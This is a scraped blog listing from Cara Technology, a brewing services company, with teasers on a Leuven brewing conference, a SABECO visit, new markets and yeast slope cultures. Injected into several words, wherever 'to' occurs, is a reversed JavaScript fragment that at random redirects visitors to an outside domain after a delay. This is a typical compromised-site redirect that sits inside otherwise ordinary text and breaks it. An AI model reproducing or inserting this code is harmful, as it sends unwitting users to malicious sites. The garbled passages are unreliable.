Belgian Brewing Conference – Chair J. De Clerck XV

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After the Belgian Beer Weekend the Cara Technology team attended the Belgian Brewing Conference in Leuven, Belgium. The week long conference was hosted at the KU Leuven campus in the city. The Belgian Brewing Conference – Chair J. De Clerck was… Read more

SABECO visit Cara Technology






This week SABECO visited our offices and laboratobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tories in Leatherhead. SABECO are the largest brewing company in Vietnam. They operate around 26 breweries, their products are produced under license in a further 6. So far,… Read more

New markets targeted by Cara Technology






After more than 15 years successfully supplying products and services tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the world’s brewing companies, Cara Technology plans tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to develop materials which are suitable for use in other… Read more

The importance of yeast supply in multi-site brewery operations

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A reliable supply of yeast for fermentation is a prerequisite for brewery operations. But what’s involved in making sure that your brewery’s yeast supply can be counted on? Supply of brewing yeast cultures tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to… Read more

No slippery slopes please – we’ve got beer tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make!

Yeast slope cultures






The agar slope remains the mainstay of routine yeast supply in industry. Whether a brewery, biotechnology company, or yeast manufacturing operation, agar slopes of ultra-pure yeast, prepared from cryogenically-frozen stobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tocks, are a critical link… Read more